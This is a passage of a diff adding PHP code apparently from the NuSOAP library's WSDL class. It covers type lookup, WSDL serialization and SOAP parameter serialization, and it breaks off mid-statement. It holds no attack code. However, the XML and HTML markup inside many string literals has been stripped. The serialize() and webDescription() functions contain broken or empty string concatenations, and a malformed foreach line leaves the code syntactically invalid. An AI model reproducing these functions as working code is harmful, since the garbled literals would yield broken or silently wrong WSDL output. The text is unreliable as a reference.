getTypeDef: type=$type, ns=$ns"); + if ((! $ns) && isset($this->namespaces['tns'])) { + $ns = $this->namespaces['tns']; + $this->debug("in getTypeDef: type namespace forced to $ns"); + } + if (!isset($this->schemas[$ns])) { + foreach ($this->schemas as $ns0 => $schema0) { + if (strcasecmp($ns, $ns0) == 0) { + $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); + $ns = $ns0; + break; + } + } + } + if (isset($this->schemas[$ns])) { + $this->debug("in getTypeDef: have schema for namespace $ns"); + for ($i = 0; $i < count($this->schemas[$ns]); $i++) { + $xs = &$this->schemas[$ns][$i]; + $t = $xs->getTypeDef($type); + $this->appendDebug($xs->getDebug()); + $xs->clearDebug(); + if ($t) { + $this->debug("in getTypeDef: found type $type"); + if (!isset($t['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); + $ns = substr($t['type'], 0, strrpos($t['type'], ':')); + $etype = $this->getTypeDef($uqType, $ns); + if ($etype) { + $this->debug("found type for [element] $type:"); + $this->debug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $t['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $t['elements'] = $etype['elements']; + } + if (isset($etype['attrs'])) { + $t['attrs'] = $etype['attrs']; + } + } else { + $this->debug("did not find type for [element] $type"); + } + } + return $t; + } + } + $this->debug("in getTypeDef: did not find type $type"); + } else { + $this->debug("in getTypeDef: do not have schema for namespace $ns"); + } + return false; + } + + /** + * prints html description of services + * + * @access private + */ + function webDescription(){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $PHP_SELF = $_SERVER['PHP_SELF']; + } elseif (isset($HTTP_SERVER_VARS)) { + $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + + $b = ' + NuSOAP: '.$this->serviceName.' + + + + +
        +

        +
        '.$this->serviceName.'
        + +
        '; + return $b; + } + + /** + * serialize the parsed wsdl + * + * @param mixed $debug whether to put debug=1 in endpoint URL + * @return string serialization of WSDL + * @access public + */ + function serialize($debug = 0) + { + $xml = ''; + $xml .= "\nnamespaces as $k => $v) { + $xml .= " xmlns:$k=\"$v\""; + } + // 10.9.02 - add poulter fix for wsdl and tns declarations + if (isset($this->namespaces['wsdl'])) { + $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; + } + if (isset($this->namespaces['tns'])) { + $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; + } + $xml .= '>'; + // imports + if (sizeof($this->import) > 0) { + foreach($this->import as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= ''; + } else { + $xml .= ''; + } + } + } + } + // types + if (count($this->schemas)>=1) { + $xml .= "\n\n"; + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $xml .= $xs->serializeSchema(); + } + } + $xml .= ''; + } + // messages + if (count($this->messages) >= 1) { + foreach($this->messages as $msgName => $msgParts) { + $xml .= "\n'; + if(is_array($msgParts)){ + foreach($msgParts as $partName => $partType) { + // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
        '; + if (strpos($partType, ':')) { + $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); + } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { + // print 'checking typemap: '.$this->XMLSchemaVersion.'
        '; + $typePrefix = 'xsd'; + } else { + foreach($this->typemap as $ns => $types) { + if (isset($types[$partType])) { + $typePrefix = $this->getPrefixFromNamespace($ns); + } + } + if (!isset($typePrefix)) { + die("$partType has no namespace!"); + } + } + $ns = $this->getNamespaceFromPrefix($typePrefix); + $localPart = $this->getLocalPart($partType); + $typeDef = $this->getTypeDef($localPart, $ns); + if ($typeDef['typeClass'] == 'element') { + $elementortype = 'element'; + if (substr($localPart, -1) == '^') { + $localPart = substr($localPart, 0, -1); + } + } else { + $elementortype = 'type'; + } + $xml .= "\n" . ' '; + } + } + $xml .= '
        '; + } + } + // bindings & porttypes + if (count($this->bindings) >= 1) { + $binding_xml = ''; + $portType_xml = ''; + foreach($this->bindings as $bindingName => $attrs) { + $binding_xml .= "\n'; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n'; + foreach($attrs['operations'] as $opName => $opParts) { + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; + } + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + } + $portType_xml .= "\n" . ''; + $binding_xml .= "\n" . ''; + } + $xml .= $portType_xml . $binding_xml; + } + // services + $xml .= "\nserviceName . '">'; + if (count($this->ports) >= 1) { + foreach($this->ports as $pName => $attrs) { + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + } + } + $xml .= "\n" . ''; + return $xml . "\n"; + } + + /** + * determine whether a set of parameters are unwrapped + * when they are expect to be wrapped, Microsoft-style. + * + * @param string $type the type (element name) of the wrapper + * @param array $parameters the parameter values for the SOAP call + * @return boolean whether they parameters are unwrapped (and should be wrapped) + * @access private + */ + function parametersMatchWrapped($type, &$parameters) { + $this->debug("in parametersMatchWrapped type=$type, parameters="); + $this->appendDebug($this->varDump($parameters)); + + // split type into namespace:unqualified-type + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in parametersMatchWrapped: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + + // get the type information + if (!$typeDef = $this->getTypeDef($uqType, $ns)) { + $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); + return false; + } + $this->debug("in parametersMatchWrapped: found typeDef="); + $this->appendDebug($this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + $phpType = $typeDef['phpType']; + $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); + $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); + + // we expect a complexType or element of complexType + if ($phpType != 'struct') { + $this->debug("in parametersMatchWrapped: not a struct"); + return false; + } + + // see whether the parameter names match the elements + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $elements = 0; + $matches = 0; + foreach ($typeDef['elements'] as $name => $attrs) { + if (isset($parameters[$name])) { + $this->debug("in parametersMatchWrapped: have parameter named $name"); + $matches++; + } else { + $this->debug("in parametersMatchWrapped: do not have parameter named $name"); + } + $elements++; + } + + $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); + if ($matches == 0) { + return false; + } + return true; + } + + // since there are no elements for the type, if the user passed no + // parameters, the parameters match wrapped. + $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); + return count($parameters) == 0; + } + + /** + * serialize PHP values according to a WSDL message definition + * contrary to the method name, this is not limited to RPC + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @param string $bindingType (soap|soap12) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + */ + function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { + $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation, $bindingType)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + return false; + } + $this->debug('in serializeRPCParameters: opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + $parts = &$opData[$direction]['parts']; + $part_count = sizeof($parts); + $style = $opData['style']; + $use = $opData[$direction]['use']; + $this->debug("have $part_count part(s) to serialize using $style/$use"); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $parameter_count = count($parameters); + $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); + // check for Microsoft-style wrapped parameters + if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { + $this->debug('check whether the caller has wrapped the parameters'); + if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { + // TODO: consider checking here for double-wrapping, when + // service function wraps, then NuSOAP wraps again + $this->debug("change simple array to associative with 'parameters' element"); + $parameters['parameters'] = $parameters[0]; + unset($parameters[0]); + } + if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { + $this->debug('check whether caller\'s parameters match the wrapped ones'); + if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { + $this->debug('wrap the parameters for the caller'); + $parameters = array('parameters' => $parameters); + $parameter_count = 1; + } + } + } + foreach ($parts as $name => $type) { + $this->debug("serializing part $name of type $type"); + // Track encoding style + if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeRPCParameters returning: $xml"); + return $xml; + } + + /** + * serialize a PHP value according to a WSDL message definition + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + * @deprecated + */ + function serializeParameters($operation, $direction, $parameters) + { + $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); + return false; + } + $this->debug('opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + + $use = $opData[$direction]['use']; + $this->debug("use=$use"); + $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $this->debug('have ' . $parametersArrayType . ' parameters'); + foreach($opData[$direction]['parts'] as $name => $type) { + $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); + // Track encoding style + if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeParameters returning: $xml"); + return $xml; + } + + /** + * serializes a PHP value according a given type definition + * + * @param string $name name of value (part or element) + * @param string $type XML schema type of value (type or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @param boolean $unqualified a kludge for what should be XML namespace form handling + * @return string value serialized as an XML string + * @access private + */ + function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) + { + $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); + $this->appendDebug("value=" . $this->varDump($value)); + if($use == 'encoded' && $encodingStyle) { + $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; + } + + // if a soapval has been supplied, let its type override the WSDL + if (is_object($value) && get_class($value) == 'soapval') { + if ($value->type_ns) { + $type = $value->type_ns . ':' . $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } elseif ($value->type) { + $type = $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } else { + $forceType = false; + $this->debug("in serializeType: soapval does not override type"); + } + $attrs = $value->attributes; + $value = $value->value; + $this->debug("in serializeType: soapval overrides value to $value"); + if ($attrs) { + if (!is_array($value)) { + $value['!'] = $value; + } + foreach ($attrs as $n => $v) { + $value['!' . $n] = $v; + } + $this->debug("in serializeType: soapval provides attributes"); + } + } else { + $forceType = false; + } + + $xml = ''; + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); + } + + if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ + $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); + if ($unqualified && $use == 'literal') { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + // TODO: depends on nillable, which should be checked before calling this method + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if ($uqType == 'Array') { + // JBoss/Axis does this sometimes + return $this->serialize_val($value, $name, false, false, false, false, $use); + } + if ($uqType == 'boolean') { + if ((is_string($value) && $value == 'false') || (! $value)) { + $value = 'false'; + } else { + $value = 'true'; + } + } + if ($uqType == 'string' && gettype($value) == 'string') { + $value = $this->expandEntities($value); + } + if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { + $value = sprintf("%.0lf", $value); + } + // it's a scalar + // TODO: what about null/nil values? + // check type isn't a custom type extending xmlschema namespace + if (!$this->getTypeDef($uqType, $ns)) { + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); + } else if ($ns == 'http://xml.apache.org/xml-soap') { + $this->debug('in serializeType: appears to be Apache SOAP type'); + if ($uqType == 'Map') { + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + if (! $tt_prefix) { + $this->debug('in serializeType: Add namespace for Apache SOAP type'); + $tt_prefix = 'ns' . rand(1000, 9999); + $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; + // force this to be added to usedNamespaces + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + } + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing map element: key $k, value $v"); + $contents .= ''; + $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); + $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); + $contents .= ''; + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; + } else { + $xml = "<$name>$contents"; + } + } else { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('in serializeType: Apache SOAP type, but only support Map'); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in serializeType: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + if(!$typeDef = $this->getTypeDef($uqType, $ns)){ + $this->setError("$type ($uqType) is not a supported type."); + $this->debug("in serializeType: $type ($uqType) is not a supported type."); + return false; + } else { + $this->debug("in serializeType: found typeDef"); + $this->appendDebug('typeDef=' . $this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + } + if (!isset($typeDef['phpType'])) { + $this->setError("$type ($uqType) has no phpType."); + $this->debug("in serializeType: $type ($uqType) has no phpType."); + return false; + } + $phpType = $typeDef['phpType']; + $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); + // if php type == struct, map value to the element names + if ($phpType == 'struct') { + if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { + $elementName = $uqType; + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + $elementNS = " xmlns=\"\""; + } + } else { + $elementName = $name; + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs and nillable + $xml = "<$elementName$elementNS/>"; + } else { + $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (is_object($value)) { + $value = get_object_vars($value); + } + if (is_array($value)) { + $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); + if ($use == 'literal') { + if ($forceType) { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; + } else { + $xml = "<$elementName$elementNS$elementAttrs>"; + } + } else { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; + } + + if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { + if (isset($value['!'])) { + $xml .= $value['!']; + $this->debug("in serializeType: serialized simpleContent for type $type"); + } else { + $this->debug("in serializeType: no simpleContent to serialize for type $type"); + } + } else { + // complexContent + $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); + } + $xml .= ""; + } else { + $this->debug("in serializeType: phpType is struct, but value is not an array"); + $this->setError("phpType is struct, but value is not an array: see debug output for details"); + $xml = ''; + } + } elseif ($phpType == 'array') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ":Array\" " . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ':arrayType="' . + $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . + ':' . + $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (isset($typeDef['multidimensional'])) { + $nv = array(); + foreach($value as $v) { + $cols = ',' . sizeof($v); + $nv = array_merge($nv, $v); + } + $value = $nv; + } else { + $cols = ''; + } + if (is_array($value) && sizeof($value) >= 1) { + $rows = sizeof($value); + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); + //if (strpos($typeDef['arrayType'], ':') ) { + if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { + $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); + } else { + $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); + } + } + } else { + $rows = 0; + $contents = null; + } + // TODO: for now, an empty value will be serialized as a zero element + // array. Revisit this when coding the handling of null/nil values. + if ($use == 'literal') { + $xml = "<$name$elementNS>" + .$contents + .""; + } else { + $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') + .':arrayType="' + .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) + .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" + .$contents + .""; + } + } elseif ($phpType == 'scalar') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + + /** + * serializes the attributes for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { + $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize attributes for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { + $this->debug("serialize attributes for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + foreach ($typeDef['attrs'] as $aName => $attrs) { + if (isset($xvalue['!' . $aName])) { + $xname = '!' . $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($xvalue[$aName])) { + $xname = $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($attrs['default'])) { + $xname = '!' . $aName; + $xvalue[$xname] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); + } else { + $xname = ''; + $this->debug("no value provided for attribute $aName"); + } + if ($xname) { + $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; + } + } + } else { + $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * serializes the elements for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { + $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize elements for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + // toggle whether all elements are present - ideally should validate against schema + if (count($typeDef['elements']) != count($xvalue)){ + $optionals = true; + } + foreach ($typeDef['elements'] as $eName => $attrs) { + if (!isset($xvalue[$eName])) { + if (isset($attrs['default'])) { + $xvalue[$eName] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$eName] . ' for element ' . $eName); + } + } + // if user took advantage of a minOccurs=0, then only serialize named parameters + if (isset($optionals) + && (!isset($xvalue[$eName])) + && ( (!isset($attrs['nillable'])) || $attrs['nillable'] != 'true') + ){ + if (isset($attrs['minOccurs']) && $attrs['minOccurs'] <> '0') { + $this->debug("apparent error: no value provided for element $eName with minOccurs=" . $attrs['minOccurs']); + } + // do nothing + $this->debug("no value provided for complexType element $eName and element is not nillable, so serialize nothing"); + } else { + // get value + if (isset($xvalue[$eName])) { + $v = $xvalue[$eName]; + } else { + $v = null; + } + if (isset($attrs['form'])) { + $unqualified = ($attrs['form'] == 'unqualified'); + } else { + $unqualified = false; + } + if (isset($attrs['maxOccurs']) && ($attrs['maxOccurs'] == 'unbounded' || $attrs['maxOccurs'] > 1) && isset($v) && is_array($v) && $this->isArraySimpleOrStruct($v) == 'arraySimple') { + $vv = $v; + foreach ($vv as $k => $v) { + if (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, $use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } else { + if (is_null($v) && isset($attrs['minOccurs']) && $attrs['minOccurs'] == '0') { + // do nothing + } elseif (is_null($v) && isset($attrs['nillable']) && $attrs['nillable'] == 'true') { + // TODO: serialize a nil correctly, but for now serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } elseif (isset($attrs['type']) || isset($attrs['ref'])) { + // serialize schema-defined type + $xml .= $this->serializeType($eName, isset($attrs['type']) ? $attrs['type'] : $attrs['ref'], $v, $use, $encodingStyle, $unqualified); + } else { + // serialize generic type (can this ever really happen?) + $this->debug("calling serialize_val() for $v, $eName, false, false, false, false, 